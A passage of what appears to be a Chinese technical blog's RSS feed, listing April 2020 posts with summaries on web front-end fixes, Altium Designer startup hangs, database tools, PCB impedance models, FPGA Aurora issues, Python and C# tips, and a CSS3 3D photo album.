      <description>h5 常见问题 1. H5 页面窗口自动调整到设备宽度，并禁止用户缩放页面 一、HTML 页面结构 // width 设置 viewport 宽度，为一个正整数，或字符串 &#39;device-width&#39; // height 设置 viewport 高度，一般设置了宽度，会自动解析出高度，可以不用设置 // initial-scale 默认缩放比例，为一个数字，可以带小数 // minimum-scale 允许用户最小缩放比例，为一个数字，可以带小数 // maximum-scale 允许用户最大缩放比例，为一个数字，可以带小数 // user-scalable 是否允许手动缩放 &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no&#34; /&amp;gt; 二、JS 动态判断 var phoneWidth = parseInt(window.screen.width); var phoneScale = phoneWidth/640; var ua = navigator.userAgent; if (/Android (\d+\.\d+)/.test(ua)){ var version = parseFloat(RegExp.$1); if(version&amp;gt;2.3){ document.write(&#39;&amp;lt;meta name=&#34;viewport&#34; content=&#34;width=640, minimum-scale = &#39;+phoneScale+&#39;, maximum-scale = &#39;+phoneScale+&#39;, target-densitydpi=device-dpi&#34;&amp;gt;&#39;); }else{ document.write(&#39;&amp;lt;meta name=&#34;viewport&#34; content=&#34;</description>
    </item>
    <item>
      <title>开始启动Altium Designer20时界面卡在Explorer  Starting EDMS Interface时处理办法。</title>
      <link>https://bchobby.github.io/posts/081cea6faabe13d05d8282d74f94c9a9/</link>
      <pubDate>Mon, 13 Apr 2020 02:25:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/081cea6faabe13d05d8282d74f94c9a9/</guid>
      <description>开始启动Altium Designer20时界面卡在Explorer Starting EDMS Interface时处理办法 首先解释下，AD20卡在这里是因为在连接AD的服务器，而使用破解版的话就有可能会卡在这个界面（也有人用破解版不会卡在这里）&#xA;因为这是软件在启动时连接服务器导致的，所以咱们只需要把他连接网络这个功能关了就好了。下面会用两种方法去解除这个问题。&#xA;第一种方法就是关闭网络 ，最简单的做法就是在每次启动AD时先把WiFi或者网络断掉。这是最简单的办法。&#xA;第二种方法就是禁用AD使用网络&#xA;这里说明一下，我一开始把用两种方法禁用AD使用网络（是在有网络连接的情况下测试的），AD启动时不再卡，但是我再单独试验具体是哪什么方法让他无法连接服务器的，我试了一下之后发现每个禁用方法 在关闭之后他都不卡了，然后我把两种方法都关闭了，结果AD20也不卡了，这就就很让人无语。在我着急使用的时候他卡的打不开，在不着急使用的时候他又不卡了。&#xA;下面我会详细配图讲述两种禁用网络的方法。为了配合有些同学用的中文版，有的用的英文版，我会分别配有两种语言的截图。&#xA;2.1. 首先第一种禁用网络的方法，在AD软件里面禁用&#xA;第一步，首先点击AD右上角的设置，然后选择system—&amp;gt;Installation—&amp;gt;Automatic checking—&amp;gt;check frequency（中文里写的检查频率），把选项改成never.&#xA;中文版的截图如下。&#xA;第二步，选择system—&amp;gt;Account Management—&amp;gt;Altium Connection，改成选项NO。&#xA;中文版的截图如下。&#xA;好了，第一种禁用网络方法就是改变这两个设置。&#xA;2.2. 第二种禁用网络的方法，是用防火墙禁止网络（win10系统）&#xA;首先声明这种方式是我在网上看到方法，以下是那篇文章的链接。https://blog.csdn.net/qq_23957035/article/details/82492093&#xA;第一步：进入控制面板—&amp;gt;系统和安全—&amp;gt;Windows defender防火墙—&amp;gt;高级设置。&#xA;点击入站规则，再点击右侧的新建规则。&#xA;在弹出来的窗口“规则类型”里面，选择程序。&#xA;第二步：在程序里面选择“此程序路径”，点击“浏览”，在这里可以选择你的AD20软件快捷键也可以选择你的AD20启动程序,也就是X2.EXE，然后点击下一步。&#xA;第三步：点击“阻止连接”，然后点击下一步。&#xA;第四步：可以自己选择。&#xA;第五步：给你新建的规则起个名称，例如：AltiumDesigner20禁止连接网络。&#xA;然后点击完成。入站规则建好了，然后就是新建出站规则，这里就不再做过多赘述了，以下是截图。&#xA;以上就是禁用网络的第二种方法。当然如果可以的话，我个人推荐两种方法都采用，这样使用起来应该就不会再卡了。&#xA;希望我写的这些可以给一些有同样困惑的朋友些许帮助。&#xA;最后再提一句，我个人认为AD20使用起来要比前面的几个版本好用，而且AD让人诟病的弹出的窗口因为笔记本电脑分辨率的问题而上显示不下的这个缺点，在AD20也不存在了（我没安装过AD18.19，所以也不知道是不是在AD18.19就已经改过来了）。&#xA;以下是AD15的窗口和AD20的窗口截图。&#xA;这只是AD20其中一个小小的优点，AD20还有很多值得去说的优点，这里就不再多说了。&#xA;如果是学生的话可以去AD官网免费申请学生版，以下是链接。https://www.altium.com.cn/solutions/academic-programs/student-licenses</description>
    </item>
    <item>
      <title>navicat对象那栏怎么没了、navicat对象信息在哪、navicat创建表的sql在哪</title>
      <link>https://bchobby.github.io/posts/7bd5daae875ed72c69aa42bd72f76a52/</link>
      <pubDate>Sun, 12 Apr 2020 20:28:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bd5daae875ed72c69aa42bd72f76a52/</guid>
      <description>以前用的都是SQLyog，转到Navicat之后发现没有创建表的sql语句，有网友说右键有个对象信息，然后就能看到，那是以前的版本，现在的版本不一样了，今天记录一下：&#xA;点开后有个DDL可以看到sql语句了，不得不说，新版本这个按钮真的好小，好隐蔽</description>
    </item>
    <item>
      <title>windows10安装mysql-workbench报错VS C&#43;&#43; 2015依赖没有安装</title>
      <link>https://bchobby.github.io/posts/8dc5d44066532449487c69610fcda981/</link>
      <pubDate>Sun, 12 Apr 2020 16:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dc5d44066532449487c69610fcda981/</guid>
      <description>workbench下载地址：&#xA;https://dev.mysql.com/downloads/workbench/&#xA;点击下载之后的安装包，开始安装之后，提示如下错误&#xA;MySQL Workbench requires the Visual C++ 2015 Redistributable Package to be installed. Click the Download-Button on the next page to open a web page containing further instrctions. 如果安装workbench,出现这种问题，是因为mysql-workbench的安装需要依赖vc++的环境，&#xA;点击ok出现此页面&#xA;这时点击download prerequisites, 会跳转到安装的网页，先将下面圈起来的依赖的环境安装好&#xA;然后再安装workbench一直点击next就可以了</description>
    </item>
    <item>
      <title>g&#43;&#43;编译时警告 warning: character constant too long for its type</title>
      <link>https://bchobby.github.io/posts/d9fb1f36ab3d4ad9c6188ae9d1430bbe/</link>
      <pubDate>Sun, 12 Apr 2020 15:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9fb1f36ab3d4ad9c6188ae9d1430bbe/</guid>
      <description>检查一下cout&amp;lt;&amp;lt;’ xxxxxxxxxxx ’ 是不是使用单引号了，改成双引号就可以了。</description>
    </item>
    <item>
      <title>常见的单端阻抗计算模式(参考网上的部分文章)</title>
      <link>https://bchobby.github.io/posts/c1c658592dcf994f67ad2ceabd4e9357/</link>
      <pubDate>Sun, 12 Apr 2020 10:46:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1c658592dcf994f67ad2ceabd4e9357/</guid>
      <description>版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。&#xA;本文链接：https://blog.csdn.net/metersun/article/details/38532291&#xA;一.图片说明和术语： Offset：非对称 stripling:带状 Microstrip: 微带 Coated:镀膜；涂上；包覆；涂层的覆盖的 二.常见的单端(线)阻抗模型 1. Surface Micro strip 1B 适用范围: 无阻焊微带线，适用于PCB上下两个表层的线路层阻抗计算， 这个模型比下面的包含阻焊的模型更常用。 另外由于在外层，其线路层铜厚则为基板铜厚+电镀铜厚(使用Core时) ； 或当表层使用单独铜箔时，则为成品铜箔厚度。 这一点要注意。 参数说明: H1:外层到参考层VCC/GND间的介质厚度 W2:阻抗线上线宽 W1:阻抗线下线宽 Er1:介质层介电常数 T1:阻抗线铜厚，包括基板厚度(基板出厂铜皮)+电镀铜厚(后加工) 2. Coated Microstrip 1B 适用范围: 含阻焊微带线。 另外由于在外层，其线路层铜厚则为基板铜厚+电镀铜厚； 或当表层使用单独铜箔时，则为成品铜箔厚度。 这一点要注意。 参数说明: H1:外层到参考层VCC/GND间的介质厚度 W2:阻抗线上线宽 W1:阻抗线下线宽 Er1:介质层介电常数 T1:阻抗线铜厚，包括基板厚度+电镀铜厚 CEr1:阻焊介电常数 C1:基材阻焊厚度 C2:线面阻焊厚度(后加工) 3.Embedded Microstrip 1B1A 适用范围: 与外层相邻的第二个线路层阻抗计算，例如一个6层板，L1、L2 均为线路层，L3为参考层(GND/VCC)，那么L2层的阻抗计算 使用此方式。 另外由于在内层，其线路层铜厚则为基板铜厚(Core)，而非表 层微带线的基板铜厚+电镀铜厚，这一点要注意。 参数说明: H1:外层到参考层VCC/GND间的介质厚度 H2:外层到第二个线路层的介质厚度+第二个线路层铜厚 W2:阻抗线上线宽 W1:阻抗线下线宽 T1: 阻抗线铜厚=基板铜厚 Er1:介质层介电常数(线路层到相邻参考层间介质常数) Er2:介质层介电常数(外层到第二个线路层间介质常数) 4.Offset stripling 1B1A 适用范围: Offset stripling--非对称带状线 1B1A 。 夹在两个GND(或VCC)之间的线路层的阻抗计算，即一个线路层， 它的上下两层均为参考层，那么这个线路层的阻抗计算适用此 模型。注意这个为带状线。 另外由于在内层，其线路层铜厚则为基板铜厚(Core)，而非表 层微带线的基板铜厚+电镀铜厚，这一点要注意。 参数说明: H1:线路层到较近参考层VCC/GND间距离(注意不同于上面的介质厚度) H2:线路层到较远参考层VCC/GND间间距(注意不同于上面的介质厚度) W2:阻抗线上线宽 W1:阻抗线下线宽 T1: 阻抗线铜厚=基板铜厚 Er1:介质层介电常数(线路层到较近参考层间介质常数) Er2:介质层介电常数(线路层到较远参考层间介质常数) 5.</description>
    </item>
    <item>
      <title>将嵌套json数据转换为对象</title>
      <link>https://bchobby.github.io/posts/1eadd9d2114487cc81e56f6820154ad4/</link>
      <pubDate>Sat, 11 Apr 2020 17:25:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1eadd9d2114487cc81e56f6820154ad4/</guid>
      <description>一、json数据格式&#xA;（1）(deviceStatusList为嵌套的格式) 需要两个实体对象存储数据，User存储code和deviceStatusList, Data存储 deviceStatusList内部三个属性。&#xA;{&#xA;“code”: 0,&#xA;“deviceStatusList”: [{&#xA;&#34; datasetId&#34; : “temperature”,&#xA;“value” : “31”,&#xA;“timestamp”: 1535697526464&#xA;},&#xA;{&#xA;&#34; datasetId&#34; : “batteryLevel”,&#xA;“value” : “90”,&#xA;“timestamp”: 1535697526464&#xA;}]&#xA;}&#xA;二、嵌套解析实体&#xA;定义实体类：注意要有构造方法&#xA;1.user&#xA;public class User { private Integer code; private List&amp;lt;Data&amp;gt; deviceStatusList; public User() { } public Integer getCode() { return code; } public void setCode(Integer code) { this.code = code; } public List&amp;lt;Data&amp;gt; getDeviceStatusList() { return deviceStatusList; } public void setDeviceStatusList(List&amp;lt;Data&amp;gt; deviceStatusList) { this.</description>
    </item>
    <item>
      <title>aurora接口channel_up，gt_common问题记录</title>
      <link>https://bchobby.github.io/posts/1669c44e22d90a7b7fca2ced189cf0f1/</link>
      <pubDate>Fri, 10 Apr 2020 18:02:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1669c44e22d90a7b7fca2ced189cf0f1/</guid>
      <description>1.环境 软件：vivado 2016.4&#xA;硬件：kc705开发板&#xA;2.问题记录 2.1 vivado route时，报告gt_common错误 2.1.1 错误提示 2.1.2 工程框图 起初想法是，aurora_0用GTXQ0,aurora_1用GTXQ1,作为ip的参考时钟，且aurora0/1 单独例化各自的gt_common模块。&#xA;2.1.3 解决办法 将两路aurora接口公用一个gt_common模块&#xA;2.1.4 参考资料 ug476中有7series tranceiver gtx介绍如下，bank118只有一组gt_common.&#xA;2.2 aurora_simplex_tx 上电channel_up为1 2.2.1 现象 上面的工程，将bit文件烧入fpga后，发现simplex_tx 接口的 channel_up就为1（光纤未链接状态）。&#xA;2.2.2 解释 pg074上说明如下：&#xA;官方文档sp011上aurora initial 流程如下：&#xA;说明aurora simplex_tx上电 channel up是正常现象。</description>
    </item>
    <item>
      <title>VUE &#43; Springboot 前后端分离线上 登陆后接口请求报302</title>
      <link>https://bchobby.github.io/posts/448e085914794e449761f5ffa7a5d74b/</link>
      <pubDate>Fri, 10 Apr 2020 17:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/448e085914794e449761f5ffa7a5d74b/</guid>
      <description>最近开发项目过程中遇到一个困扰几天的问题，本地测试所有接口都正常，线上请求后端没设置登陆拦截的接口，能正常返回数据；但请求需要登陆访问接口，则出现302，直接重定向到/login接口，十分诡异。&#xA;与后端一起探讨解决发现，多方查询尝试才发现在axios配置中设置：withCredentials: true，允许跨域请求携带cookie才行。在同域的情况下，我们发送请求会默认携带当前域下的 cookie，但是在跨域的情况下，由于浏览器的限制，默认是不会携带请求域下的 cookie ，而我们通常请求中是需要携带cookie的，这就需要在XMLHttpRequest对象上配置withCredentials属性，将其设置为true。&#xA;需注意：在withCredentials的情况下，后端要设置Access-Control-Allow-Origin为你的源地址，例如http://localhost:8080，不能是*，而且还要设置header(‘Access-Control-Allow-Credentials: true’);&#xA;axios中文文档配置拷贝过来：&#xA;{ // `url` 是用于请求的服务器 URL url: &#39;/user&#39;, // `method` 是创建请求时使用的方法 method: &#39;get&#39;, // 默认是 get // `baseURL` 将自动加在 `url` 前面，除非 `url` 是一个绝对 URL。 // 它可以通过设置一个 `baseURL` 便于为 axios 实例的方法传递相对 URL baseURL: &#39;https://some-domain.com/api/&#39;, // `transformRequest` 允许在向服务器发送前，修改请求数据 // 只能用在 &#39;PUT&#39;, &#39;POST&#39; 和 &#39;PATCH&#39; 这几个请求方法 // 后面数组中的函数必须返回一个字符串，或 ArrayBuffer，或 Stream transformRequest: [function (data) { // 对 data 进行任意转换处理 return data; }], // `transformResponse` 在传递给 then/catch 前，允许修改响应数据 transformResponse: [function (data) { // 对 data 进行任意转换处理 return data; }], // `headers` 是即将被发送的自定义请求头 headers: {&#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39;}, // `params` 是即将与请求一起发送的 URL 参数 // 必须是一个无格式对象(plain object)或 URLSearchParams 对象 params: { ID: 12345 }, // `paramsSerializer` 是一个负责 `params` 序列化的函数 // (e.</description>
    </item>
    <item>
      <title>数据治理——主数据项目实施</title>
      <link>https://bchobby.github.io/posts/a97a991d0c332821f5d9e30c1fed6fba/</link>
      <pubDate>Fri, 10 Apr 2020 09:18:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a97a991d0c332821f5d9e30c1fed6fba/</guid>
      <description>文章目录 一.主数据定义1.数据的层次模型(根据数据的特征、作用以及管理需求的不同)2.主数据涵盖了元数据、引用数据、企业结构数据、业务结构数据 二.传统的软件项目实施三.主数据项目四.主数据项目详细规划第一阶段（体系规划阶段）第二阶段：平台实施阶段 五.核心步骤1.主数据的准备2.系统集成架构 一.主数据定义 1.数据的层次模型(根据数据的特征、作用以及管理需求的不同) 分为6个层次:元数据、引用数据、企业结构数据、业务结构数据、业务活动数据、业务审计数据。&#xA;元数据（ 系统中最基础的数据）：元数据描述数据定义、数据约束、数据关系等。在物理模型中，元数据定义了表和属性字段的性质。&#xA;引用数据(属性值域)：引用数据定义了元数据的可能的取值范围(月份的引用数据为1-12月)（电商项目中订单状态可划分为待付款、待发货、待收货、已发货、已撤销等，引用数据是对数据分类的重要标准，不同状态的订单将会进入相应的业务流程，死信处理正在付款和未付款）&#xA;企业/单位结构数据:描述企业数据之间的关系，是多条主数据的集合（组织结构由组织机构、人员、岗位等主数据组成）。&#xA;业务结构数据：描述业务的直接参与者（典型的业务结构数据包含产品、客户数据）。&#xA;通常由唯一的数据编码以及大量的属性信息构成。&#xA;业务活动数据：记录运营活动中产生的业务数据，其实质是主数据之间活动产生的数据（客户购买产品的业务记录、工厂生产产品的生产记录）。&#xA;业务审计数据：记录数据的活动（对客户信息进行修改、对业务进行删除）。&#xA;2.主数据涵盖了元数据、引用数据、企业结构数据、业务结构数据 业务数据（业务活动数据、业务审计数据）以主数据为基石，衍生出分析数据。主数据项目是一个复杂的项目，表面上仅仅是一个物理载体，实质是管理流程、管理手段的一次变革。信息系统的实施的过程实际是组织、人员、流程及系统融合的过程。&#xA;二.传统的软件项目实施 传统的软件项目是一个闭环系统，它会不断检验实施是否能达到最初的项目工作范围和业务目标。&#xA;项目启动阶段通过进一步明确项目的工作范围与业务目标，奠定项目成功的基础。&#xA;系统设计与开发阶段达到用户的需求。&#xA;系统上线启用阶段包括了所有与用户培训、系统初始配置、软件功能验证，以及对设计、开发、应用的使用情况评估分析相关等工作。&#xA;三.主数据项目 主数据项目的实施方法分为两个阶段&#xA;第一阶段（体系规划阶段）：主要工作任务为构建主数据体系规划、主数据管理平台规划，搭建主数据标准体系、管理体系，形成主数据管理方案。&#xA;第二阶段（平台实施阶段）：主要工作任务为搭建主数据管理平台，将主数据标准体系在主数据管理平台中实现。&#xA;四.主数据项目详细规划 第一阶段（体系规划阶段） 1.项目启动、需求调研及评估&#xA;根据成熟度模型 （初始级p0,可重复级p1,已定义级p2,已管理级p3，优化级p4,创新级p5）判断企业或单位所处的级别，对主数据应用现状和管理目标进行精炼，定位主数据应用及管理中存在的问题。了解现行标准体系与编码管理的应用现状，对编码体系进行评估。建立平台技术环境，通过对主数据管理平台的系统原型进行需求差异化分析&#xA;2.体系规划和架构设计&#xA;主数据体系实施规划：对系统实施任务进行分解，明确每期系统建设的阶段目标、功能、内容、范围&#xA;主数据管理体系设计：明确上级和下属单位之间的主数据管理模式；进行主数据管理流程设计&#xA;主数据集成架构设计:明确主数据系统与企业或单位系统的横向数据交换方式，明确主数据系统与二级单位系统的纵向数据交换方式&#xA;主数据安全架构设计：明确主数据安全体系中的安全策略、安全组织、安全技术、安全建设和运行。&#xA;3.数据标准制定&#xA;建立主数据分类体系,对于企业，划分客户主数据、供应商主数据、通用基础主数据等；建立符合各类标准的描述模板。&#xA;提供通用主数据编码库、分类模型、描述模型:在项目实施过程中为主数据的分类及编码库的建立提供相应的设计方案。&#xA;4.主数据管理平台设计&#xA;明确主数据管理平台在与业务系统进行数据交换时的功能与方式，如Web Service（Web service 就是一个应用程序，它向外界暴露出一个能够通过Web进行调用的API）；可查看主数据接收或分发日志，对不能正常处理的主数据进行主动预警，并按照预先设定规则处理。&#xA;对数据清洗功能进行详细规划：数据清洗模型的建立，实现清洗过程中主数据的唯一性、完整性、一致性、合理性。&#xA;第二阶段：平台实施阶段 1.客户化设计、开发、测试阶段&#xA;2.数据清洗阶段&#xA;依据数据标准进行系统内各类主数据标准模型建设，提供清洗工具，依据历史数据分析，制定由历史数据向标准化转化的清洗工作方案&#xA;3.培训、上线准备、系统上线运行阶段&#xA;4.系统上线运行支持&#xA;五.核心步骤 1.主数据的准备 主数据管理系统实施阶段的重中之重，主要内容包括数据采集、数据清洗和数据导入。&#xA;数据采集：&#xA;在数据采集前，项目组为了提高准备数据的质量，应说明关键字段的含义、系统使用原理 以及和原系统数据的对应关系&#xA;在数据采集的工具方面，一种方法是利用业务系统的数据导出工具，通过人工的方式整理为标准的数据采集格式；另一种是由项目组开发一套数据采集软件&#xA;数据清洗：&#xA;数据清洗的目的是检测数据中存在的错误和不一致，剔除或者改正它们，将剩余部分转换成数据标准所接受的格式，提高数据质量。&#xA;（1）清洗原则（保证主数据的唯一性、完整性、一致性、合理性）&#xA;清洗已使用的主数据编码，对于未使用的主数据编码采用停用等方式。&#xA;对企业统建系统的基础编码数据，可保留原编码规则，不进行编码的改动，仅完善维护相关属性值。&#xA;属性值不完整的编码数据，按照其主数据规范标准进行补充完善，使其完全符合数据标准化的要求。&#xA;清理要覆盖全部的数据，保证数据清理的完整性。&#xA;（2）清理方法&#xA;1）初步标记&#xA;将获取的主数据进行初步清理、标记工作。&#xA;2）分类清理</description>
    </item>
    <item>
      <title>uniapp使用高德获得详细地址</title>
      <link>https://bchobby.github.io/posts/c01a97e10c70b53012e14069fd7ddee7/</link>
      <pubDate>Thu, 09 Apr 2020 19:59:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c01a97e10c70b53012e14069fd7ddee7/</guid>
      <description>准备工作 本文主要针对uniapp做的。 1.登陆高德地图官网并添加应用获得key 。[高德官网](https://lbs.amap.com/) 如图： 2.下载amap-wx.js。获得文件如下。网站链接: 下载地址&#xA;3.把你的HBuilder X打开，并把amap-wx.js导入static文件下。如图：&#xA;进入主题 1.初始化&#xA;&amp;lt;script&amp;gt; var amapFile = require(&#39;../../../static/js/amap-wx.js&#39;),//引入刚刚下载的文件 //设置初始化 markersData = { latitude: &#39;&#39;,//纬度 longitude: &#39;&#39;,//经度 key: &#34;xxxxxxxxxxxxxxxxxxxxxxxx&#34;//申请的高德地图key } &amp;lt;script&amp;gt; 2.授权、获得经纬度、经纬度转地址&#xA;async getLocation() { this.getSetting(); this.doGetLocation(); }, /* 获得经纬度 */ doGetLocation() { uni.getLocation({ type: &#39;wgs84&#39;, success: (res) =&amp;gt; { this.loadCity(res.latitude,res.longitude); }, fail: (err) =&amp;gt; { uni.showToast({ title: &#34;获取失败&#34; }) } }) }, /* 是否授权，没有授权则授权*/ getSetting: function() { return new Promise((resolve, reject) =&amp;gt; { uni.</description>
    </item>
    <item>
      <title>SR锁存器</title>
      <link>https://bchobby.github.io/posts/8efbc2da3b05002c7e4988288822db46/</link>
      <pubDate>Thu, 09 Apr 2020 14:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8efbc2da3b05002c7e4988288822db46/</guid>
      <description>【 1. 或非门锁存器 】 工作原理 高电平有效。SR由11→00，Q*不定，所以正常工作下，应遵循SR=0的约束条件。① SR=11时，Q和Q’均为不定0（ 即此时若S、R同时由1变为0，Q和Q’会出现不定 ）。&#xA;② SR从11-&amp;gt;00后，Q和Q’均为不定。（即Q、Q’会从0变成1，再变成0反复循环，状态不定，产生振荡） 功能描述 时序图 【 2. 与非门锁存器 】 工作原理 S’为置1输入端&#xA;R’为置0输入端&#xA;低电平有效S’ R’ 由00→11后，Q、Q’不定，所以正常工作下，应遵循SR=0的约束条件。① S’R’=00时，Q和Q’均为不定1（ 即此时若S’、R’同时由0变为1，Q和Q’会出’现不定 ）。&#xA;② S’R’从11-&amp;gt;00后，Q和Q’均为不定。（即Q、Q’会从0变成1，再变成0反复循环，状态不定，产生振荡） 功能描述 时序图 【 3. 应用：开关消抖 】 现象：&#xA;原因：&#xA;抖动产生因为机械固有的物理特性，在瞬间接触的时候会有力学的回弹，造成2-8毫秒内信号不稳定。&#xA;这种抖动对人来说是感觉不到的，但对电路来说，则是完全可以感应到的：&#xA;当按钮被按下时，你所期待的效果应该是：111111111000000000…，&#xA;而事与愿违，单片机读到的信号可能会是：111110110110000000…，&#xA;这中间连续的1和0过渡处，短暂的几个随机交错出现的01就是我们不期望产生的抖动解决办法：&#xA;利用基本RS触发器的记忆功能消除机械开关振动引起的干扰脉冲&#xA;令开关一端接地，当开关S拨向A（一旦有接触时），Q=1，Q’=0，无论A怎么抖动，Q’=0又作为Q输入端，令Q一直保持1的状态。</description>
    </item>
    <item>
      <title>c#获取字符串长度、字节长度、utf-8字节长度</title>
      <link>https://bchobby.github.io/posts/f648875884e411fae73339d50aa7f055/</link>
      <pubDate>Thu, 09 Apr 2020 10:14:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f648875884e411fae73339d50aa7f055/</guid>
      <description>string str = &#34;测试123+-&#34;;&#xA;int test1 = str.Length;//长度为7 字符长度：不管中文、英文、符号都是一个字符&#xA;int test2 = System.Text.Encoding.Default.GetByteCount(str);//长度为9 字节长度：中文占两个字节，其他占一个字节&#xA;int test3 = System.Text.Encoding.UTF8.GetByteCount(str);//长度为11 utf-8字节长度：中文占三个字节，其他占一个字节</description>
    </item>
    <item>
      <title>pip 安装依赖包 报错 No matching distribution found for pandas</title>
      <link>https://bchobby.github.io/posts/4264d23a11ac30a5b51662b5aa5a6ede/</link>
      <pubDate>Thu, 09 Apr 2020 09:52:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4264d23a11ac30a5b51662b5aa5a6ede/</guid>
      <description>在pycharm中的terminal中使用pip安装依赖包时，出现No matching distribution found for pandas的错误提示&#xA;这里是在虚拟环境中，安装依赖包&#xA;结果抛出了以下异常提示&#xA;解决方案，使用 命令：python -m pip install pandas&#xA;这样就安装成功了</description>
    </item>
    <item>
      <title>未能加载文件或程序集“System.Windows.Interactivity问题的解决</title>
      <link>https://bchobby.github.io/posts/6a64c519c995983ad8e8f9ee51becf1f/</link>
      <pubDate>Thu, 09 Apr 2020 09:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a64c519c995983ad8e8f9ee51becf1f/</guid>
      <description>在WPF项目调试过程中，出现“发现“System.Windows.Interactivity”的不同版本间存在无法解决的冲突。”报错，程序无法运行，我试图卸载和重新安装该控件，但仍无法解决。&#xA;终查看App.config中，见下图，发现多出红框部分代码，删除后程序正常运行。</description>
    </item>
    <item>
      <title>TensorFlow2.x 学习笔记(六)随机梯度下降以及数据可视化</title>
      <link>https://bchobby.github.io/posts/98984fc52e0d7b7f6c46c4ce41f88bee/</link>
      <pubDate>Thu, 09 Apr 2020 03:18:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98984fc52e0d7b7f6c46c4ce41f88bee/</guid>
      <description>文章目录 梯度下降简介梯度利用梯度优化 AutoGrad with TensorflowGradientTapePersistent GradientTape 2 n d − o r d e r 2^{nd}-order 2nd−order 激活函数及其梯度Sigmoid/LogisticTanhReLU Loss及其梯度MSESoftmax[Crossentropy gradient](https://blog.csdn.net/IDrandom/article/details/104601051#Cross_Entropy_Loss_198) [Chain Rule](https://zh.wikipedia.org/wiki/%E9%93%BE%E5%BC%8F%E6%B3%95%E5%88%99) 可视化tensorboardcreate_file_writer()imagescalar 梯度下降 简介 梯度 梯度是一个向量，表示某一函数在该点处的方向导数沿着该方向取得最大值。&#xA;g r a d f ( x , y ) = ∇ f ( x , y ) = ( ∂ f ∂ x , ∂ f ∂ y ) = ∂ f ∂ x i + ∂ f ∂ x j gradf(x,y) = \nabla{f(x,y)} = (\frac{\partial f}{\partial x},\frac{\partial f}{\partial y}) = \frac{\partial f}{\partial x}i + \frac{\partial f}{\partial x}j gradf(x,y)=∇f(x,y)=(∂x∂f​,∂y∂f​)=∂x∂f​i+∂x∂f​j</description>
    </item>
    <item>
      <title>VS Code | 如何快速重启VS Code？</title>
      <link>https://bchobby.github.io/posts/10675831c080badad5eb135e6ad563d1/</link>
      <pubDate>Wed, 08 Apr 2020 23:14:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10675831c080badad5eb135e6ad563d1/</guid>
      <description> 如何快速重启VS Code？ 安装完插件后，有些时候需要重启才会生效，但是每次都关闭再打开就有点不舒服了。&#xA;快捷键：CTRL + SHITF + P，打开：“命令面板”，输入即可：&#xA;&amp;gt; Reload Window </description>
    </item>
    <item>
      <title>用大白话讲清 -&gt; Pycharm的编码配置问题(超级详细！)</title>
      <link>https://bchobby.github.io/posts/cfeb5c69eb1284fed90555658a5644b3/</link>
      <pubDate>Wed, 08 Apr 2020 23:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfeb5c69eb1284fed90555658a5644b3/</guid>
      <description>一、Pycharm的编码配置 pycharm的编码配置有三种，名称和作用分别是&#xA;Global Encoding：不知道有什么用，就选择默认的UTF8就行了Project Encoding：打开文件时使用的编码Properties Files：配置文件所使用的编码编码设置的路径：File -&amp;gt; Settings(打开Settings的默认快捷键是CTRL+ALT+S) -&amp;gt; Editor -&amp;gt; File Encodings&#xA;二、编码的注意事项 py文件如果在开头指定了编码，即# coding=编码。即无视Pycharm的配置设置，直接使用指定的编码。且只要设置过coding，哪怕之后删除了coding，也会以最后一次的coding的编码保存文件。&#xA;读取文件，且文件没有指定编码时，使用pycharm默认的Project Encoding所指定的编码。&#xA;WINDOWS10默认的编码并不是GBK，而是ANSI。打开ANSI文件并以GBK解码时并不会出错，但是再转换成其他的编码，如UTF8时，有可能会出错，且无法修改回来了，要注意。建议将3种编码都设置为UTF8，且新建py文件时使用模板(如何配置模板就请百度了，这个很方便)，自动设置好utf8，以绝后患。如果接手了非UTF8编码的文件，现在外部修改好编码后再使用Pycharm打开，否则十分容易出错。</description>
    </item>
    <item>
      <title>CSS3  简单3D旋转画册</title>
      <link>https://bchobby.github.io/posts/dfb06d6120399ef3346645489c6ef57c/</link>
      <pubDate>Wed, 08 Apr 2020 21:53:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfb06d6120399ef3346645489c6ef57c/</guid>
      <description>CSS3 简单3D旋转画册 上次我们简单介绍了c3的一些基础知识，我们今天来做一个小练习；&#xA;这个简单的案例是3D的一个旋转画册，那么上面是我们的一个效果图，因为不能够传视屏所以就暂时只能够截图来看一下具体结构。&#xA;正如大家所看见的，该相册由两个正方体组成，由大的正方体包裹着小的正方体，实现方式其实是用了margin或者使用定位position来实现。&#xA;其实这个画册的做法很简单，这边就不一步一步的解释了，下面我将代码粘贴出来，大家自行测试。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;3D旋转画册&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;css/reset.css&#34; /&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;style&amp;gt; #album-inner{ height: 100px; width: 100px; position: absolute; top: 45%; left: 45%; transform-style: preserve-3d; /* transform: rotateX(-30deg) rotateY(-45deg); */ /* perspective: 800px; */ animation: move 16s linear infinite; } //选择器创建move运动规则 @keyframes move{ from{ transform: rotateX(0deg) rotateY(0deg); } to{ transform: rotateX(-360deg) rotateY(-360deg); } } ul li{ height: 100%; width: 100%; position: absolute; } ul li img{ height: 100%; width: 100%; } /* 